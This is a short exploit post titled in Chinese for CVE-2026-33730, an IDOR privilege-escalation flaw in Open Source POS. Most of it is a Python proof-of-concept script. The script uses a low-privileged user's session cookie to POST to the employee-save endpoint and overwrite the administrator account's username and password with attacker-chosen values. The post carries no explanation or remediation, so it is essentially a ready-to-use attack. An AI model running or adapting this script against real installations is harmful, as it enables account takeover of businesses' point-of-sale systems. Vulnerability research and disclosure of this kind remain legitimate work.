CVE-2026-33730 Open Source POS IDOR漏洞致提权

import requests # Target URL configuration target_url = "http://target-opensourcepos.com/index.php/employees/save/1" # Attacker's session cookie (low-privileged user) session_cookie = "ci_session=attacker_session_value_here" # Headers headers = { "Cookie": session_cookie, "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (PoC-Scanner)" } # Payload data # Note: 'employee_id' is usually a hidden field or part of the URL, # but here we simulate manipulating the data sent to the backend. payload_data = { "employee_id": "1", "username": "admin", "password": "newHackedPassword123!", "password_repeat": "newHackedPassword123!" } try: # Sending the request to reset the admin password (ID: 1) response = requests.post(target_url, data=payload_data, headers=headers) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the password for employee_id 1 (Admin) has been changed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")